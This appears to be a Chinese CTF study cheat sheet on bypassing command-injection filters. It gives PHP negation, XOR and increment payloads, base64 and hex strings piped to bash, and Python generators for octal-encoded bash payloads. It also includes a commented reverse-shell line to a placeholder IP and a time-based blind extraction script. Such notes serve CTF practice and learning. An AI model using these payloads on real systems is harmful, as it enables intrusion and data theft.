RCE_绕过综合

news2024/10/6 9:17:28

<aside> 💡

管道符

</aside>

<aside> 💡

通配符绕过

</aside>

	**匹配任何字符串/文本,包括空字符串;
	*代表任意字符(0个或多个)
	? 匹配任何一个字符(不在括号内时)?代表任意1个字符
	[abcd] 匹配abcd中任何一个字符
	[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符**

<aside> 💡

空格过滤

</aside>

**<
<>
%20(即space)
%09(即tab)
$IFS$9
${IFS}
$IFS
{cat,/flag}**

<aside> 💡

反斜杠\绕过

</aside>

**//如cat、ls被过滤,使用\\绕过
c\\at /flag
l\\s /**

<aside> 💡

取反绕过

</aside>

**//取反传参
<?php
 
$a = "system";
$b = "cat /flag";
 
$c = urlencode(~$a);
$d = urlencode(~$b);
 
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>**

<aside> 💡

异或绕过

</aside>

**# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\\'\\",.<>/?-=_`~ "
 
answer = input('输入异或构造的字符串:')
 
tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if ord(i) ^ ord(j) == ord(c):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
 
print(f'"{tmp1}"^"{tmp2}"')**
**//异或php脚本
 
<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
    echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
    echo '%ff';
?>
 
//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff**
**//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();
 
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);
 
 
//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"
 
mess=$_="0302181"^"@[@[_^^";$_();**

<aside> 💡

自增绕过

</aside>

**//自增payload,assert($_POST[_]),命令传入_**
 
**$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();**

<aside> 💡

黑名单绕过

</aside>

**//变量拼接,如flag被过滤
将:
cat /flag
替换为:
b=ag;cat /fl$b
 
//读取根目录
eval(var_dump(scandir('/'););
//读flag
eval(var_dump(file_get_contents($_POST['a'])););&a=/flag
 
 
 
//等效于打开ls目录下的文件
cat `ls`
 
//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_
N[S.S等效于N_S.S
php需要接收e_v.a.l参数,给e[v.a.l传参即可
 
//php标签绕过
?><?= phpinfo(); ?>**

<aside> 💡

base和hex编码绕过

</aside>

**//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
`echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)
 
//hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo '636174202f666c6167' | xxd -r -p | bash
 
//shellcode编码
//十六进制编码**

<aside> 💡

正则匹配绕过

</aside>

**//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}**

<aside> 💡

引号绕过

</aside>

**//如cat、ls被过滤
ca""t /flag
l's' /**

<aside> 💡

cat替换命令

</aside>

**tac	   与cat相反,按行反向输出
more	 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less	 与more类似
tail	 查看文件末几行
head	 查看文件首几行
nl	   在cat查看文件的基础上显示行号
od	   以二进制方式读文件,od -A d -c /flag转人可读字符
xxd	   以二进制方式读文件,同时有可读字符显示
sort	 排序文件
uniq	 报告或删除文件的重复行
file -f	报错文件内容
grep	 过滤查找字符串,grep flag /flag**

<aside> 💡

回溯绕过

</aside>

**//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False**

<aside> 💡

无回显RCE

</aside>

**//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\\at /flag`;)**

<aside> 💡

无参数RCE

</aside>

**利用getallheaders()、get_defined_vars()、session_id等;**

<aside> 💡

无字母数字RCE

</aside>

**异或、取反、自增、临时文件上传;**

<aside> 💡

禁用 ?

</aside>

**八进制(不能解析带有参数的命令)  ls -> $'\\154\\163'**

<aside> 💡

禁用 ? 2-9

</aside>

**cmd = 'ls -al'

payload = '$0<<<$0\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:
        payload += f'\\\\\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'**

<aside> 💡

仅含 <$!{}()_&

</aside>

**cmd = 'ls -al'

r = {}

x = '$((~$(())))'#-1

for i in range(1,9):
        r[i] = '$((~$(('+x
        for j in range(i):
                r[i] += x
        r[i] += '))))'

r[0] = '$(())'

payload = '__=$(())&&${!__}<<<${!__}\\\\<\\\\<\\\\<\\\\$\\\\\\''
for c in cmd:
        payload += '\\\\\\\\'
        for i in oct(ord(c))[2:]:
                payload += r[int(i)]

payload += '\\\\\\''
print(payload)**

<aside> 💡

仅含<$ {}\#()'0

</aside>

重定向+八进制+数字构造

**import requests
n = dict()
n[0] = '0'
n[1] = '${##}'     #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))'   #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))'     #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\\<\\<\\<\\$\\\\\\'"
    s = str_to_oct(cmd).split('\\\\')
    for _ in s[1:]:
        payload+="\\\\\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\\\\''

def get_flag(url,payload):                          #盲注函数
    try:
        data = {'cmd':payload}
        r = requests.post(url,data,timeout=1.5)
    except:
        return True
    return False

#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "<http://ip/>"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)**

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2191560.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

免费送源码:Java+B/S+MySQL 基于springboot网上书店管理系统 计算机毕业设计原创定制

基于springboot网上书店管理系统 摘 要 网上书店管理系统采用B/S结构、java开发语言、以及Mysql数据库等技术。系统主要分为管理员和用户两部分&#xff0c;管理员管理主要功能包括&#xff1a;首页、网站管理&#xff08;轮播图、网站公告&#xff09;人员管理&#xff08;管…

MATLAB - 机械臂手眼标定(眼在手内) - 估计安装在机器人上的移动相机的姿态

系列文章目录 前言 本示例展示了如何为装有手眼构型摄像头的机械臂或机械手执行和验证手眼校准。 一、概述 执行手眼校准有助于操作配备末端执行器&#xff08;简称 “手”&#xff09;的机械臂&#xff0c;该末端执行器依赖于摄像头提供的视觉数据。一旦完成了眼在手外的校准&…

数据结构阶段测试2的一点小补充

数据结构阶段测试2的一点小补充 1.已知⼩根堆为8,15,10,21,34,16,12&#xff0c;删除关键字8之后需重建堆&#xff0c;最后的叶⼦ 节点为() A. 34 B. 21 C. 16 D. 12 解题思路 向下调整算法删除堆顶元素 &#x1f4a1; 答案&#xff1a;C 删除堆顶元素的思路&#xff1a; …

环境对象刺激,recordnunber,记忆柱,记忆柱群,主注意对象,目的对象,状态中枢,奖惩预期,思维等等之间的联系

我们清醒状态下&#xff0c;随时都有目的&#xff0c;目的控制影响着我们思想行为的方向。目的是用对象来表征的&#xff08;目的对象&#xff09;&#xff0c;对象之所以能够表征目的&#xff0c;是因为对象能够被&#xff08;状态性&#xff09;赋值&#xff08;任何赋值都是…

UE4 材质学习笔记03(翻书(Flipbook)动画/环境混合)

一.FlipBook Animation 如果你想让游戏以每秒30帧的速度运行&#xff0c;所有内容都必须在33毫秒内渲染出来&#xff0c; 如果你想让游戏以每秒60帧的速度运行的话&#xff0c;必须在16毫秒内。 所以当一个效果需要很多细节的时候&#xff0c;往往会离线创建它&#xff0c;然…

【Qt】控件概述(4)—— 输出类控件

输出类控件 1. QLineEdit——单行输入框2. QTextEdit——多行输入框3. QComboBox——下拉框4. QSpinBox——微调框5. QDateEdit && QTimeEdit && QDateTimeEdit6 QDial——旋钮7. QSlider——滑动条 1. QLineEdit——单行输入框 QLineEdit是一个单行的输入框&…

BUU刷题-Pwn-shanghai2018_baby_arm(ARM_ROP_csu_init,ARM架构入门)

解题思路&#xff1a; 泄露或修改内存数据&#xff1a; 堆地址&#xff1a;无需栈地址&#xff1a;无需libc地址&#xff1a;无需BSS段地址&#xff1a;无需 劫持程序执行流程&#xff1a;ARM_ROP && mprotect函数(运行内存权限修改) && [[ARM_ROP_csu_init]…

【AI自然语言处理应用】通义晓蜜CCAI

通义晓蜜CCAI-对话分析AIO 对话分析AIO&#xff0c;即对话分析all-in-one API&#xff0c;是基于深度调优的对话大模型&#xff0c; 为营销服类产品提供智能化升级所需的生成式摘要总结、质检、分析等能力的官方应用。 面向对象&#xff1a;开发者、自研企业、传统呼叫中心采购…

02 nth_element 与第k小

题目&#xff1a; 方案一&#xff1a;sort排序 #include<bits/stdc.h> using namespace std;int main() {int n;int k;cin>>n>>k;int a[n]{0};for(int i0;i<n;i){cin>>a[i];}sort(a,an); cout<<a[k]<<endl;}方案二&#xff1a;…

【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版

文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理&#xff0c;已经进行了介绍与总结&#xff0c;相关内容可参考【…

leetcode面试题17.04:消失的数字(C语言版)

思路1 先排序&#xff0c;再依次查找&#xff0c;如果下一个值不等于前一个1&#xff0c;那么下一个值就是消失数字。 时间复杂度分析&#xff1a;冒泡排序的时间复杂度为O(N^2)&#xff0c;qsort排序时间复杂度为O(N*logN)。因此该思路不可行。 思路2 求和0到N&#xff0c;再减…

Python爬虫使用实例-mdrama

一个Python爬虫使用实例&#xff1a;主要用于下载指定的剧集音频。分别从网页和json文件中获取剧集的title和剧集中所存在音频的id&#xff0c;调用you-get&#xff0c;最后自动重命名下载文件夹为剧集名title。 目标网址&#xff1a; https://www.missevan.com/mdrama/其中为…

【C++】关键字+命名空间

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解C的命名空间&#xff0c;如果你觉得我写的还不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 目录 一. 关键字二. 命名空间2.1 命名空间的定义2.2 命名空间的使用a. 命名空间名称作用域限定…

R包的安装、加载以及如何查看帮助文档

0x01 如何安装R包 一、通过R 内置函数安装&#xff08;常用&#xff09; 1.安装CRAN的R包 install.packages()是一个用于安装 R 包的重要函数。 语法&#xff1a;install.packages(pkgs, repos getOption("repos"),...) 其中&#xff1a; pkgs&#xff1a;要安…

SpringCloud Alibaba - Eureka注册中心,Nacos配置中心

Eureka 1、创建服务端 server:port: 8761 # eureka 默认端口spring:application:name: eureka-server # 应用名称&#xff08;微服务中建议必须定义应用名称&#xff09; SpringBootApplication EnableEurekaServer // 开启eureka注册中心功能 public class EurekaServerAppli…

二分查找一>山脉数组的峰顶索引

1.题目&#xff1a; 2.解析&#xff1a; 代码&#xff1a; public int peakIndexInMountainArray(int[] arr) {int left 1, right arr.length-2;while(left < right) {int mid left (right-left1) / 2;if(arr[mid] > arr[mid-1]) left mid;else right mid-1;}ret…

【记录】Excel|Excel 打印成 PDF 页数太多怎么办

【记录】Excel&#xff5c;解决 Excel 打印成 PDF 页数过多的问题 文章目录 【记录】Excel&#xff5c;解决 Excel 打印成 PDF 页数过多的问题方法一&#xff1a;调整页边距WPS OfficeMicrosoft Excel 方法二&#xff1a;优化页面布局调整列宽和行高使用“页面布局”视图合并单…

Markdown实用语法汇总

说明&#xff1a; 本来只展示本人常用的、markdown特有优势的一些语法。表格输入markdown的弱项&#xff0c;不作介绍&#xff0c;借助软件创建即可。引用图片、音频、视频等&#xff0c;虽然很方便&#xff0c;但是内容集成度不高&#xff0c;需要上传发布的时候很不方便&…

[单master节点k8s部署]29.Istio流量管理(五)

测试istio熔断管理。 采用httpbin镜像和fortio镜像&#xff0c;其中httpbin作为服务端&#xff0c;fortio是请求端。这两个的配置yaml文件都在istio的samples/httpbin目录下&#xff0c;fortio的配置文件在samples-client目录下。 [rootmaster httpbin]# ls gateway-api ht…

七、Drf版本组件

七、版本组件 7.1基于GET请求 #url.py urlpatterns [ path(home/,views.HomeView.as_view(),namehome), ]#setting.py REST_FRAMEWORK {#定义版本号的名称&#xff0c;默认为versionVERSION_PARAM:version, #允许的版本号值&#xff0c;如果前端传递过来的版本号的值不在…